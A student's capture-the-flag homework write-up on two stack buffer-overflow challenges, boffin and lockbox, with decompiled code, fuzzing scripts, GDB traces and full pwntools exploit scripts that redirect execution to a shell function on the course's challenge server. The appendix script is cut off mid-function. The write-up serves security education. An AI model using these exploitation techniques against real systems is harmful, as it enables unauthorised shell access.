# Homework 4 Challenge Writeup

**Pwn Part One**

Lindsay Von Tish

lmv9443@nyu.edu

02/28/2024

Table of Contents

[Homework 4 Challenge Writeup 1](#_Toc159948653)

[Challenge Details 2](#_Toc159948654)

[Boffin 2](#_Toc159948655)

[Overview 2](#_Toc159948656)

[Details 2](#_Toc159948657)

[Lockbox 10](#_Toc159948658)

[Overview 10](#_Toc159948659)

[Details 10](#_Toc159948660)

[Appendix A: Student Information 17](#_Toc159948661)

[Appendix B: Tools 17](#_Toc159948662)

[Appendix C: Boffin\_Pwn.py 18](#_Toc159948663)

[Appendix D: Lockbox\_Pwn.py 22](#_Toc159948664)

# Challenge Details

## Boffin

### Overview

|  |  |  |
| --- | --- | --- |
| Boffin | | |
| **100 Points** | **Flag Value** | flag{access\_granted\_thats\_real\_cool} |
| **Location** | nc offsec-chalbroker.osiris.cyber.nyu.edu 1337 |
| **Lore** | Buffer Overflows |
| **Filename** | boffin |

### Details

When run normally, boffin asks the user for a name and then prints the name in the response.

|  |
| --- |
| ┌──(kali㉿kali)-[~/Desktop/4-Week]  └─$ ./boffin  Hey! What's your name?  Juneau  Hi, Juneau |

First Run

The program's main method, shown below after decompilation using *Ghidra*, takes in the user-entered name using gets. The gets function is known to be insecure.

|  |
| --- |
| undefined8 main(EVP\_PKEY\_CTX \*param\_1){  char name [32];  init(param\_1);  puts("Hey! What\'s your name?");  gets(name);  printf("Hi, %s\n",name);  return 0;  } |

Main Method

The boffin main method does not call any other functions. However, the list of disassembled functions reveals a function called give\_shell.

A screenshot of a computer program

Description automatically generated  
**Boffin Functions**

|  |
| --- |
| void give\_shell(void)  {  system("/bin/sh");  return;  } |

give\_shell

The give\_shell function opens a bash shell using a system call. Forcing boffin to call give\_shell will result in a shell on the machine running boffin. The ultimate goal of this challenge is to call give\_shell when one of the methods returns.

The main method disassembly shows that the stack is prepared to take 32 characters (0x20) of input.

|  |
| --- |
| undefined main()  ...omitted for brevity...  004006ed CALL <EXTERNAL>::puts int puts(char \* \_\_s)  004006f2 LEA RAX=>name,[RBP + -0x20]  004006f6 MOV RDI,RAX  004006f9 CALL <EXTERNAL>::gets  004006fe LEA RAX=>name,[RBP + -0x20]  00400702 MOV RSI,RAX  ...omitted for brevity...  0040071a RET |

Main Method

During testing, the program ran normally with 32 and 33 characters of input but crashed after 50. The following script was written to determine how much input it takes for boffin to have a segmentation fault (segfault).

|  |
| --- |
| def segFuzz(p):  n = 0  base = b"".join([struct.pack("B", 0x41) for i in range(0,31)])  while True:  data = base + b"".join([struct.pack("B", 0x41) for i in range(0,n)])  ...omitted for brevity...  if(re.search("exited normally", cleanLine(p.recvline()))):  n += 1  print(n)  else:  print(cleanLine(p.recvline()))  p.recvuntil("(gdb)")  p.sendline("info registers rip")  ln = cleanLine(p.recvline())  l = re.split("\s+", ln)  print(l[2])  if n == 20:  p.interactive()  else:  n +=1  print(n)  print(data) |

Fuzzing Script

The script results show that boffin crashed with a Bus Error after 40 characters of input. An input of 41 characters or more caused the program to crash with a segfault.

|  |
| --- |
| ┌──(kali㉿kali)-[~/Desktop/4-Week]  └─$ python3 Boffin\_Pwn.py  1  2  ...omitted for brevity...  9  Program received signal SIGBUS, Bus error.  0x7ffff7df2600  10  Program received signal SIGSEGV, Segmentation fault.  0x7ffff7df0041  11  Program received signal SIGSEGV, Segmentation fault.  0x7ffff7004141  12  Program received signal SIGSEGV, Segmentation fault.  0x7f0041414141  13  Program received signal SIGSEGV, Segmentation fault.  0x4141414141  14  Program received signal SIGSEGV, Segmentation fault.  0x414141414141  15  Program received signal SIGSEGV, Segmentation fault.  0x414141414141  16  Program received signal SIGSEGV, Segmentation fault.  0x40071a |

Fuzzing Results

As the input value grew in length, the data appeared to be overwriting the rip register. The rip register is completely overwritten at n=14 when there are 45 total characters of input.

Overwriting rip with the address of give\_shell will force the program to call it when it moves to the next instruction.

|  |
| --- |
| Dump of assembler code for function give\_shell:  0x000000000040069d <+0>: push %rbp  0x000000000040069e <+1>: mov %rsp,%rbp  0x00000000004006a1 <+4>: mov $0x4007a4,%edi  0x00000000004006a6 <+9>: mov $0x0,%eax  0x00000000004006ab <+14>: call 0x400550 <system@plt>  0x00000000004006b0 <+19>: pop %rbp  0x00000000004006b1 <+20>: ret |

Give Shell

The address is 5 bytes long; the payload will need 40 bytes of padding before the address.

|  |
| --- |
| def buildPayload():  base = b"".join([struct.pack("B", 0x41) for i in range(0,40)])  data = b"".join([struct.pack("B", 0x9d), struct.pack("B", 0x06),  struct.pack("B", 0x40), struct.pack("B", 0x00), struct.pack("B", 0x00)])  return base + data |

Payload Generation

The address is stored in the payload in reverse order because the program uses little-endian encoding.

|  |
| --- |
| def getShell(p):  payload = buildPayload()  p.recvuntil("Hey! What's your name?")  p.sendline(payload)  p.interactive()  def pwnGDB():  # Start gdb session  p = process('/bin/bash')  p.sendline('gdb ./boffin -q')  p.sendline("r")  getShell(p) |

Attack Local Instance

Unfortunately, testing this payload against a local instance of boffin resulted in a new segmentation fault.

|  |
| --- |
| ┌──(kali㉿kali)-[~/Desktop/4-Week]  └─$ python3 Boffin\_Pwn.py  [\*] Switching to interactive mode  Hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x06@  Program received signal SIGSEGV, Segmentation fault.  0x00007ffff7e17603 in do\_system (line=0x4007a4 "/bin/sh")  at ../sysdeps/posix/system.c:148 |

Crash

However, the segmentation error occurs at a line in do\_system that attempts to open a shell. This means that the payload successfully overwrote rip so that boffin ran give\_shell.

Although the payload did not work on a local instance of boffin, sending it to the remote challenge resulted in a shell.

|  |
| --- |
| def shellRemote():  # Start remote session  p = remote(HOST, PORT)  getShell(p) |

Attack Remote Instance

An attacker can use the resulting shell to access the contents of flag.txt.

|  |
| --- |
| ┌──(kali㉿kali)-[~/Desktop/4-Week]  └─$ python3 Boffin\_Pwn.py  [+] Opening connection to offsec-chalbroker.osiris.cyber.nyu.edu on port 1337: Done  [\*] Switching to interactive mode  Hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x06@  $ ls  boffin  flag.txt  $ whoami  pwn  $ cat flag.txt  flag{access\_granted\_thats\_real\_cool} |

Successful Exploitation

#### Debugging for a Safer Payload

The crash during the exploitation of a local boffin instance occurs at a line in system.

|  |
| --- |
| => 0x7ffff7e17603 <do\_system+339>: movaps %xmm0,0x50(%rsp) |

Crash Line

This error is caused because hijacking rip, as demonstrated above, causes the stack pointer, rsp, to be misaligned. Many modern machines use 128-bit registers to copy data larger than 64-bits. Therefore, rsp must be aligned to 16 bytes, not 8. The server running the remote challenge is older and does not use that register, preventing errors due to rsp alignment.

Even on most modern machines, rsp is 16-byte aligned by default. It stays aligned during normal operations because of the two operations performed at the beginning of each function: the call operation pushes the return address to the stack, then the base pointer is pushed to the stack. These two pushes move the stack down 16 bytes, keeping it aligned with each new call.

However, overwriting rip forces the program to jump to the first line of give\_shell as if it were the next line in the assembly code. In that case, the call is not performed, meaning the return address is not pushed to the stack. Then, when give\_shell starts, it pushes rbp to the stack as usual, moving rbp down a total of 8 bytes instead of the expected 16, eventually causing a crash when an instruction requires stack alignment.

To avoid this error, boffin needs to perform a call before jumping to give\_shell.

The following script uses a new payload that contains the address of a return call in main before the address of give\_shell.

|  |
| --- |
| def buildSafePld():  base = b"".join([struct.pack("B", 0x41) for i in range(0,40)])  retAddr = b"".join([struct.pack("B", 0x1a), struct.pack("B", 0x07),  struct.pack("B", 0x40), struct.pack("B", 0x00), struct.pack("B", 0x00)])  data = b"".join([struct.pack("B", 0x9d), struct.pack("B", 0x06),  struct.pack("B", 0x40), struct.pack("B", 0x00), struct.pack("B", 0x00)])  pad = b"".join([struct.pack("B", 0x00) for i in range(0,3)])  return base + retAddr + pad + data    def getSafeShell(p):  payload = buildSafePld()  p.recvuntil("Hey! What's your name?")  p.sendline(payload)  p.interactive() |

Building the New Payload

This should overwrite rip with the address of the return instruction instead of the address of give\_shell. This will cause the program to move to that instruction and perform a return operation, popping an address off the top of the stack and calling it. At this time, the top of the stack contains the payload data following the address stored in rip, which should be the address of give\_shell.

To demonstrate, breakpoints were set before and at the return instruction in the main method.

|  |
| --- |
| def pwnGDB():  # Start gdb session  p = process('/bin/bash')  p.sendline('gdb ./boffin -q')  p.sendline("break \*0x0000000000400719") //break at leave  p.sendline("break \*0x000000000040071a") //break at ret  p.sendline("r")  #p.recv()  getSafeShell(p) |

pwnGdb

At line 0x0000000000400719, the main method leave instruction, both addresses are further down in the stack.

|  |
| --- |
| ┌──(kali㉿kali)-[~/Desktop/4-Week]  └─$ python3 Boffin\_Pwn.py  [\*] Switching to interactive mode  Hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x07@  Breakpoint 1, 0x0000000000400719 in main ()  (gdb) $ info registers rip  rip 0x400719 0x400719 <main+67>  (gdb) $ x/20x $sp  0x7fffffffddd0: 0x41414141 0x41414141 0x41414141 0x41414141  0x7fffffffdde0: 0x41414141 0x41414141 0x41414141 0x41414141  0x7fffffffddf0: 0x41414141 0x41414141 0x0040071a 0x00000000  0x7fffffffde00: 0x0040069d 0x00000000 0x004006d6 0x00000000  0x7fffffffde10: 0x00000000 0x00000001 0xffffdf08 0x00007fff  (gdb) $ c  Continuing. |

Breakpoint 1

At line the first call to the main method ret instruction, the address at the top of the stack points to that return instruction, which is also equal to the value stored in rip.

|  |
| --- |
| Breakpoint 2, 0x000000000040071a in main ()  (gdb) $ info registers rip  rip 0x40071a 0x40071a <main+68>  (gdb) $ x/4x $sp  0x7fffffffddf8: 0x0040071a 0x00000000 0x0040069d 0x00000000  (gdb) $ c  Continuing. |

Breakpoint 2

Finally when ret is called for the second time, rip still points to the return address, but the value at the top of the stack, which will be called when ret runs, is the address of give\_shell.

|  |
| --- |
| Breakpoint 2, 0x000000000040071a in main ()  (gdb) $ info registers rip  rip 0x40071a 0x40071a <main+68>  (gdb) $ x/4x $sp  0x7fffffffde00: 0x0040069d 0x00000000 0x004006d6 0x00000000  (gdb) $ c  Continuing.  [Detaching after vfork from child process 405647] |

Breakpoint 2 for the Second Time

This method results in a proper call to give\_shell that pushes the return value to the stack before executing the first instruction. This will keep the stack aligned.

The new payload resulted in a shell when the exploit was run against a local instance of boffin.

|  |
| --- |
| def pwnLocal():  # Start local instance  p = process('./boffin')  getSafeShell(p) |

pwnLocal

|  |
| --- |
| ┌──(kali㉿kali)-[~/Desktop/4-Week]  └─$ python3 Boffin\_Pwn.py  [\*] Switching to interactive mode  Hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x07@  $ whoami  kali  $ pwd  /home/kali/Desktop/4-Week  $ zsh: suspended (signal) python3 Boffin\_Pwn.py |

Local Success

Although the safely-designed payload is not necessary for remote exploitation, it does result in the successful exploitation of the remote system.

|  |
| --- |
| def shellRemote():  # Start remote session  p = remote(HOST, PORT)  #getShell(p)  getSafeShell(p) |

shellRemote

|  |
| --- |
| ┌──(kali㉿kali)-[~/Desktop/4-Week]  └─$ python3 Boffin\_Pwn.py  [+] Opening connection to offsec-chalbroker.osiris.cyber.nyu.edu on port 1337: Done  [\*] Switching to interactive mode  Hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x07@  $ whoami  pwn  $ ls  boffin  flag.txt |

Remote Success

All of the code used to debug and exploit boffin is available in [Appendix C](#_Appendix_C:_Boffin).

## Lockbox

### Overview

|  |  |  |
| --- | --- | --- |
| Lockbox | | |
| **200 Points** | **Flag Value** | flag{Wh0\_n33d5\_A\_k33y\_wen\_U\_h4v3\_a\_B0F} |
| **Location** | nc offsec-chalbroker.osiris.cyber.nyu.edu 1336 |
| **Lore** | Buffer Overflows |
| **Filename** | lockbox |

### Details

On the first run, lockbox asked for a secret combination before crashing due to a segmentation fault.

|  |
| --- |
| ┌──(kali㉿kali)-[~/Desktop/4-Week]  └─$ ./lockbox  I've locked my shell in a lockbox, you'll never get it now!  But give it your best try, what's the combination?  >  1337  zsh: segmentation fault ./lockbox |

First Run

The lockbox main method, shown below after decompilation with *Ghidra*, contains all of the functionality used during the first run. The code uses the insecure C library call gets to read in the user-entered value, although it is not immediately clear how the program uses that data.

|  |
| --- |
| undefined8 main(void)  {  ...omitted for brevity...  fflush(stdout);  puts("I\'ve locked my shell in a lockbox, you\'ll never get it now!\n");  puts("But give it your best try, what\'s the combination?\n> ");  gets(guess);  \*local\_38 = local\_30;  return 0;  } |

Main Method

While looking at the lockbox function names, win stood out.

|  |
| --- |
| void win(void)  {  if (key == -0x25224f23) {  mystring.\_0\_8\_ = 0x68732f6e69622f;  }  system(mystring);  return;  } |

Win

After checking the key value, the function uses the system call to run a command stored in mystring. If the key matches the expected value, mystring is set to /bin/sh/, giving the user a shell on the machine running lockbox.

Unfortunately, lockbox does not call the win function during regular operation. Ultimately, the goal is to call win by ensuring that its address is at the top of the stack so that it is called when main returns.

The first challenge in lockbox is getting past the segmentation fault that happens at line 0x00000000004012a4.

|  |
| --- |
| 0x00000000004012a4 <+172>: mov %rdx,(%rax) |

Segfault Line

The program attempts to move the data stored in the rdx register into the address stored in rax. However, rax does not hold a valid address, which causes the program to crash when it attempts to access it.

|  |
| --- |
| ┌──(kali㉿kali)-[~/Desktop/4-Week]  └─$ gdb ./lockbox  I've locked my shell in a lockbox, you'll never get it now!  But give it your best try, what's the combination?  >  1337  Program received signal SIGSEGV, Segmentation fault.  0x00000000004012a4 in main ()  (gdb) info registers  rax 0x0 0 |

Segfault Line

The following script sends an increasing number of characters to the program and outputs the stack and register values at the compare.

|  |
| --- |
| def fuzz(p):  data = 'A' \* 16  n = 0  p.sendline("break \*0x00000000004012a4")  while True:  print("############################")  print("# Now with " + str(n + 16) + " As #")  print("############################")  p.sendline("r")  p.recvuntil(">")  payload = data + 'A' \* n + "\n"  p.send(payload)  #p.interactive()  p.recvuntil("Breakpoint ")  d = p.recv()  print("Breakpoint " + cleanLine(d))  printStack(p, 20)  getInfoRegs(p)  n += 1  p.sendline("c")  p.recv(timeout=0.05)  if n == 23:  break |

Fuzzing Script

The results show that rax starts to be overwritten after lockbox stores the allotted 16 characters of input on the stack.

|  |
| --- |
| ┌──(kali㉿kali)-[~/Desktop/4-Week]  └─$ python3 newdbg.py  ############################  # Now with 16 As #  ############################  Breakpoint 1, 0x00000000004012a4 in main ()  0x7fffffffddb0: 0x41414141 0x41414141 0x41414141 0x41414141  0x7fffffffddc0: 0x00000000 0x00000000 0x00000000 0x00000000  rax 0x0 0  ############################  # Now with 17 As #  ############################  Breakpoint 1, 0x00000000004012a4 in main ()  0x7fffffffddb0: 0x41414141 0x41414141 0x41414141 0x41414141  0x7fffffffddc0: 0x00000041 0x00000000 0x00000000 0x00000000  rax 0x41 65  ...omitted for brevity...  ############################  # Now with 20 As #  ############################  Breakpoint 1, 0x00000000004012a4 in main ()  0x7fffffffddb0: 0x41414141 0x41414141 0x41414141 0x41414141  0x7fffffffddc0: 0x41414141 0x00000000 0x00000000 0x00000000  rax 0x41414141 1094795585 |

Fuzzing Script Results

Sending a payload with 16 characters of padding followed by a valid address will prevent the program from segfaulting. The following example uses the address of key.

|  |
| --- |
| def keyPld():  base = b"".join([struct.pack("B", 0x41) for i in range(0,16)])  key = b"".join([struct.pack("B", 0x50), struct.pack("B", 0x40),  struct.pack("B", 0x40), struct.pack("B", 0x00)])  pad0 = b"".join([struct.pack("B", 0x00) for i in range(0,4)])  return base + data + pad0  def sendPld():  p = process('/bin/bash')  p.sendline('gdb ./lockbox -q')  p.sendline("r")  d = p.recvuntil(">")  pld = keyPld()  p.sendline(pld)  p.interactive() |

Script to Build and Send Payload

This payload allows lockbox to run without error.

|  |
| --- |
| ┌──(kali㉿kali)-[~/Desktop/4-Week]  └─$ python3 Lockbox\_Pwn.py  [\*] Switching to interactive mode  [Inferior 1 (process 226978) exited normally] |

Successful Execution.

The next hurdle is determining how to call win when the main method returns. When the method returns, the program pops a value off the stack and attempts to jump to it. If the value at the top of the stack is not a valid address, the program will crash with another segmentation fault.

Adding more data to the payload will overwrite the values stored in the stack, including the return address. The following script uses the *PwnTools* cyclic functions to find which part of the payload is at the top of the stack when main returns.

|  |
| --- |
| def testPld():  base = b"".join([struct.pack("B", 0x41) for i in range(0,16)])  data = b"".join([struct.pack("B", 0x50), struct.pack("B", 0x40),  struct.pack("B", 0x40), struct.pack("B", 0x00)])  d2 = b"".join([struct.pack("B", 0x00) for i in range(0,4)])  d3 = cyclic(500)  return base + data + d2 + d3  def ripOffset():  p = process('./lockbox')  d = p.recvuntil(">")  p.sendline(testPld())  p.wait()  cf = p.corefile  stack = cf.rsp  info("rsp = %#x", stack)  pattern = cf.read(stack, 4)  ripOffset = cyclic\_find(pattern)  info("rip offset = %d", ripOffset) |

Script

|  |
| --- |
| ┌──(kali㉿kali)-[~/Desktop/4-Week]  └─$ python3 Lockbox\_Pwn.py  [+] Starting local process './lockbox': pid 63811  [\*] Process './lockbox' stopped with exit code -11 (SIGSEGV) (pid 63811)  [+] Parsing corefile...: Done  [\*] '/home/kali/Desktop/4-Week/core.63811'  Arch: amd64-64-little  RIP: 0x4012ad  RSP: 0x7ffedf978de8  Exe: '/home/kali/Desktop/4-Week/lockbox' (0x400000)  Fault: 0x6161616e6161616d  [\*] rsp = 0x7ffedf978de8  [\*] rip offset = 48 |

Results

The fault occurred when the program tried to jump to 0x6161616e6161616d, a value from the data added to the payload after the key. The value is at the 48th byte of added data.

To force lockbox to jump to win after its main method returns, the payload should look something like the following:

|  |
| --- |
| [16 Chars of Padding] + [Address of Key] + [4 Chars of 0x00] + [48 Chars of Padding] + [Address of Win] + [4 Chars of 0x00] |

Payload Format

After receiving a new payload consistent with the above format, the program crashed with a segmentation error in a different line.

|  |
| --- |
| └─$ python3 Lockbox\_Pwn.py  [+] Starting local process './lockbox': pid 65599  [\*] Process './lockbox' stopped with exit code -11 (SIGSEGV) (pid 65599)  [+] Parsing corefile...: Done  [\*] '/home/kali/Desktop/4-Week/core.65599'  Arch: amd64-64-little  RIP: 0x4011f7  RSP: 0x7ffc6b467de8  Exe: '/home/kali/Desktop/4-Week/lockbox' (0x400000)  Fault: 0x4242424242424242  [\*] rsp = 0x7ffc6b467de8 |

New Segmentation Error

The address stored in the rip register after the crash is the ret operation in win.

|  |
| --- |
| (gdb) $ disas win  Dump of assembler code for function win:  0x00000000004011b6 <+0>: endbr64  0x00000000004011ba <+4>: push %rbp  0x00000000004011bb <+5>: mov %rsp,%rbp  0x00000000004011be <+8>: mov $0xfffffffffffffff0,%rax  0x00000000004011c5 <+15>: and %rax,%rsp  0x00000000004011c8 <+18>: mov 0x2e82(%rip),%eax # 0x404050 <key>  0x00000000004011ce <+24>: cmp $0xdaddb0dd,%eax  0x00000000004011d3 <+29>: jne 0x4011e6 <win+48>  0x00000000004011d5 <+31>: movabs $0x68732f6e69622f,%rax  0x00000000004011df <+41>: mov %rax,0x2e7a(%rip) # 0x404060 <mystring>  0x00000000004011e6 <+48>: lea 0x2e73(%rip),%rax # 0x404060 <mystring>  0x00000000004011ed <+55>: mov %rax,%rdi  0x00000000004011f0 <+58>: call 0x401090 <system@plt>  0x00000000004011f5 <+63>: nop  0x00000000004011f6 <+64>: pop %rbp  => 0x00000000004011f7 <+65>: ret |

Win Disassembly

This shows that the new payload did successfully cause lockbox to run the win function before crashing.

The win function compares eax to a secret value, 0xdaddb0dd. If the values are equal, the value stored in mystring is set to /bin/sh, giving the user a shell when system is called. With the current payload, the value of the eax register is overwritten by the payload padding, which causes the comparison to fail.

|  |
| --- |
| ┌──(kali㉿kali)-[~/Desktop/4-Week]  └─$ python3 Lockbox\_Pwn.py  [\*] Switching to interactive mode  Breakpoint 1, 0x00000000004011ce in win ()  (gdb) $ disas win  Dump of assembler code for function win:  ...omitted for brevity...  0x00000000004011c8 <+18>: mov 0x2e82(%rip),%eax # 0x404050 <key>  => 0x00000000004011ce <+24>: cmp $0xdaddb0dd,%eax  ...omitted for brevity...  0x00000000004011f7 <+65>: ret  End of assembler dump.  (gdb) $ info registers eax  eax 0x61616161 1633771873 |

Win Disassembly

The first four characters of padding data overwrite the value of eax. By changing the payload so that the secret value is placed after the key, eax should be overwritten with the correct value.

|  |
| --- |
| def secretPayload():  pad16 = b"".join([struct.pack("B", 0x41) for i in range(0,16)])  keyAddr = b"".join([struct.pack("B", 0x50), struct.pack("B", 0x40),  struct.pack("B", 0x40), struct.pack("B", 0x00)])  pad0 = b"".join([struct.pack("B", 0x00) for i in range(0,4)])  secret = b"".join([struct.pack("B", 0xdd), struct.pack("B", 0xb0),  struct.pack("B", 0xdd), struct.pack("B", 0xda)])  pad44 = b"".join([struct.pack("B", 0x42) for i in range(0,44)])  win = b"".join([struct.pack("B", 0xb6), struct.pack("B", 0x11),  struct.pack("B", 0x40), struct.pack("B", 0x00)])  return pad16 + keyAddr + pad0 + secret + pad44 + win + pad0 |

Building a Payload with the Secret

The comparison will see that the values match, and the program will set mystring appropriately to give the user a shell when lockbox calls system.

This final payload causes lockbox to open a system shell when ran locally.

|  |
| --- |
| ┌──(kali㉿kali)-[~/Desktop/4-Week]  └─$ python3 Lockbox\_Pwn.py  [\*] Switching to interactive mode  $ whoami  kali  $ pwd  /home/kali/Desktop/4-Week |

Local Success

The same payload also results in a shell on a remote instance of lockbox. An attacker can leverage the remote shell to get the contents of flag.txt.

|  |
| --- |
| ┌──(kali㉿kali)-[~/Desktop/4-Week]  └─$ python3 Lockbox\_Pwn.py  [\*] Switching to interactive mode    $ whoami  pwn  $ ls  flag.txt  lockbox  $ cat flag.txt  flag{Wh0\_n33d5\_A\_k33y\_wen\_U\_h4v3\_a\_B0F} |

Remote Success

The complete codebase used to debug and pwn lockbox is available in [Appendix D](#_Appendix_D:_Lockbox_Pwn.py).

## Appendix A: Student Information

|  |  |
| --- | --- |
| Lindsay Von Tish | |
| Email | [lmv9443@nyu.edu](mailto:lmv9443@nyu.edu) |

## Appendix B: Tools

|  |  |
| --- | --- |
| Name | URL |
| GDB | <https://www.gnu.org/software/gdb/gdb.html> |
| Ghidra | <https://ghidra-sre.org/> |
| Netcat | <https://netcat.sourceforge.net/> |
| PwnTools | <https://github.com/Gallopsled/pwntools> |

# 

## Appendix C: Boffin\_Pwn.py

|  |
| --- |
| from pwn import \*  import re  import struct  # A function to convert encoded input to a string and remove text format characters  # Input: Encoded string  # Output: Unencoded string  def cleanLine(ln):  ansi\_escape = re.compile(r'\x1B(?:[@-Z\\-\_]|\[[0-?]\*[ -/]\*[@-~])')  l = ansi\_escape.sub('', str(ln, encoding='utf-8'))  return l  # A function to print register values  # Input: Connection  # Output: N/A  def getRegisters(p):  p.sendline("info registers")  data = p.recvuntil("(gdb)")  print(data)  # A function to see how much input it takes for a segfault  # Input: Connection  # Output: N/A  def segFuzz():  p = process('/bin/bash')  p.sendline('gdb ./boffin -q')  p.recv()  n = 0  base = b"".join([struct.pack("B", 0x41) for i in range(0,31)])  while True:  data = base + b"".join([struct.pack("B", 0x41) for i in range(0,n)])  p.sendline("r")  p.sendline(data)  p.recvuntil("Hi")  p.recvline()  if(re.search("exited normally", cleanLine(p.recvline()))):  n += 1  #data += chars[n]\*8  print(n)  else:  print(cleanLine(p.recvline()))  #p.recvuntil("Segmentation fault.")  #print(p.recvline())  p.recvuntil("(gdb)")  p.sendline("info registers rip")  ln = cleanLine(p.recvline())  l = re.split("\s+", ln)  print(l[2])  if n == 20:  p.interactive()  else:  n +=1  print(n)  print(data)  # A function to build the payload to exploit Boffin  # Input: N/A  # Output: String containing payload  def buildPayload():  base = b"".join([struct.pack("B", 0x41) for i in range(0,40)])  #print(base)  data = b"".join([struct.pack("B", 0x9d), struct.pack("B", 0x06), struct.pack("B", 0x40), struct.pack("B", 0x00), struct.pack("B", 0x00)])  #print(base + data)  return base + data  # A function to build the payload to exploit Boffin locally  # Input: N/A  # Output: String containing payload  def buildSafePld():  base = b"".join([struct.pack("B", 0x41) for i in range(0,40)])  #print(base)  retAddr = b"".join([struct.pack("B", 0x1a), struct.pack("B", 0x07), struct.pack("B", 0x40), struct.pack("B", 0x00), struct.pack("B", 0x00)])  data = b"".join([struct.pack("B", 0x9d), struct.pack("B", 0x06), struct.pack("B", 0x40), struct.pack("B", 0x00), struct.pack("B", 0x00)])  pad = b"".join([struct.pack("B", 0x00) for i in range(0,3)])  #print(base + data)  return base + retAddr + pad + data  # A function to send a payload to the process and open an interactive shell  # Input: Connection  # Output: N/A  def getShell(p):  payload = buildPayload()  p.recvuntil("Hey! What's your name?")  p.sendline(payload)  p.interactive()  # A function to send a payload to the remote challenge then get the flag  # Input: Connection  # Output: Flag string  def getFlag(p):  payload = buildPayload()  p.recvuntil("Hey! What's your name?")  p.sendline(payload)  p.recvuntil("Hi")  p.recvline()  p.sendline("cat flag.txt")  return cleanLine(p.recvline())  # A function to send a payload to the process and open an interactive shell  # Input: Connection  # Output: N/A  def getSafeShell(p):  payload = buildSafePld()  p.recvuntil("Hey! What's your name?")  p.sendline(payload)  p.interactive()  # A function to attack a local instance of boffin running with gdb and print the crash info  # Currently segfaults  # Input: N/A  # Output: N/A  def pwnGDB():  # Start gdb session  p = process('/bin/bash')  p.sendline('gdb ./boffin -q')  p.sendline("break \*0x0000000000400719")  p.sendline("break \*0x000000000040071a")  p.sendline("r")  #p.recv()  getSafeShell(p)  #cf = p.corefile  #stack = cf.rsp  # A function to attack a local instance of boffin  # Currently segfaults  # Input: N/A  # Output: N/A  def pwnLocal():  # Start local instance  p = process('./boffin')  getSafeShell(p)  # Host and port for the remote challenge  HOST = 'offsec-chalbroker.osiris.cyber.nyu.edu'  PORT = 1337  # A function to get the flag from a remote instance of boffin  # Currently functional  # Input: N/A  # Output: N/A  def pwnRemote():  # Start remote session  p = remote(HOST, PORT)  print(getFlag(p))  p.close()  # A function to get a shell from a remote instance of boffin  # Currently functional  # Input: N/A  # Output: N/A  def shellRemote():  # Start remote session  p = remote(HOST, PORT)  #getShell(p)  getSafeShell(p)  # Uncomment for function  # pwnRemote()  # shellRemote()  # pwnLocal()  # pwnGDB()  # segFuzz() |

## Appendix D: Lockbox\_Pwn.py

|  |
| --- |
| from pwn import \*  import re  import struct  import math  # A function to convert encoded input to a string and remove text format characters  # Input: Encoded string  # Output: Unencoded string  def cleanLine(ln):  ansi\_escape = re.compile(r'\x1B(?:[@-Z\\-\_]|\[[0-?]\*[ -/]\*[@-~])')  l = ansi\_escape.sub('', str(ln, encoding='utf-8'))  return l  # A function to print out part of the stack  # Input: Connection, number of words to print  # Output: N/A  def printStack(p, n):  cmd = "x/" + str(n) + "x $sp"  p.recv(timeout=0.05)  #p.recvuntil("(gdb) ")  p.sendline(cmd)  t = math.ceil(n/4)  #print(t)  for i in range(0, t):  d = p.recv(timeout=0.05)  print(cleanLine(d))  print("return")  p.recv(timeout=0.05)  return 0  # A function to print print the results of the "info registers" command  # Input: Connection  # Output: N/A  def getInfoRegs(p):  cmd = "info registers"  p.recv(timeout=0.05)  p.sendline(cmd)  while True:  d = cleanLine(p.recv(timeout=0.05))  print(d)  if re.search("rip", d):  break  p.recv(timeout=0.05)  print("return")  return 0  # A function to increase the payload size until the data overwrites important values  # Input: N/A  # Output: N/A  def fuzz():  p = process('/bin/bash')  p.sendline('gdb ./lockbox -q')  data = 'A' \* 16  n = 0  #p.sendline("break \*0x000000000040127e")  p.sendline("break \*0x00000000004012a4")  while True:  print("############################")  print("# Now with " + str(n + 16) + " As #")  print("############################")  p.sendline("r")  p.recvuntil(">")  payload = data + 'A' \* n + "\n"  p.send(payload)  #p.interactive()  p.recvuntil("Breakpoint ")  d = p.recv()  print("Breakpoint " + cleanLine(d))  printStack(p, 20)  getInfoRegs(p)  n += 1  p.sendline("c")  p.recv(timeout=0.05)  if n == 23:  break    # Builds a payload that will get us past the segfault  # Input: N/A  # Output: Payload  def keyPld():  base = b"".join([struct.pack("B", 0x41) for i in range(0,16)])  key = b"".join([struct.pack("B", 0x50), struct.pack("B", 0x40), struct.pack("B", 0x40), struct.pack("B", 0x00)])  pad0 = b"".join([struct.pack("B", 0x00) for i in range(0,4)])  return base + key + pad0  # A function to increase the payload size until the data overwrites important values  # Input: N/A  # Output: N/A  def testPld():  base = b"".join([struct.pack("B", 0x41) for i in range(0,16)])  data = b"".join([struct.pack("B", 0x50), struct.pack("B", 0x40), struct.pack("B", 0x40), struct.pack("B", 0x00)])  d2 = b"".join([struct.pack("B", 0x00) for i in range(0,4)])  d3 = cyclic(500)  return base + data + d2 + d3  # Builds a payload that will force the program to jump to win when main returns  # Input: N/A  # Output: Payload  def winPld():  base = b"".join([struct.pack("B", 0x41) for i in range(0,16)])  key = b"".join([struct.pack("B", 0x50), struct.pack("B", 0x40), struct.pack("B", 0x40), struct.pack("B", 0x00)])  pad0 = b"".join([struct.pack("B", 0x00) for i in range(0,4)])  pad48 = cyclic(48)  win = b"".join([struct.pack("B", 0xb6), struct.pack("B", 0x11), struct.pack("B", 0x40), struct.pack("B", 0x00)])  return base + key + pad0 + pad48 + win + pad0  # A function to build the payload to get the secret correct  # Input: N/A  # Output: String containing payload  def secretPld():  pad16 = b"".join([struct.pack("B", 0x41) for i in range(0,16)])  keyAddr = b"".join([struct.pack("B", 0x50), struct.pack("B", 0x40), struct.pack("B", 0x40), struct.pack("B", 0x00)])  pad0 = b"".join([struct.pack("B", 0x00) for i in range(0,4)])  secret = b"".join([struct.pack("B", 0xdd), struct.pack("B", 0xb0), struct.pack("B", 0xdd), struct.pack("B", 0xda)])  pad44 = b"".join([struct.pack("B", 0x42) for i in range(0,44)])  win = b"".join([struct.pack("B", 0xb6), struct.pack("B", 0x11), struct.pack("B", 0x40), struct.pack("B", 0x00)]) 